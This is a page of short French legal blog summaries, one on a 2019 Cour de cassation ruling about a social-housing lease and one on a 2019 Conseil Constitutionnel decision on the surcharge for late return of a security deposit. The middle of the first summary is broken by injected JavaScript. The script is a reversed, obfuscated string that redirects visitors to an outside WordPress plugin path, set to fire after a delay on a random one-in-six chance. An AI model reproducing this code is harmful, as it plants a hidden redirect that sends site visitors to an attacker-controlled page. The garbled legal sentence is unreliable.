Cass., Civ., 3ème, 6 juin 2019(n°18-15978) Dans cette affaire, un bailleur HLM a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donné à bail un logement à un couple qui a déménagé, en laissant un membre de sa famille, Mme I, dans les lieux. La Cour de cassation approuve l’arrêt de la…
Majoration et restitution du dépôt de garantie
Dépôt de Garantie Décision du Conseil Constitutionnel du 22 février 2019 Dans cette décision, le Conseil Constitutionnel a jugé que la majoration de 10% par mois de retard, en cas de restitution tardive du dépôt de garantie est conforme à la Constitution. Elle ne constitue ni une sanction ayant le…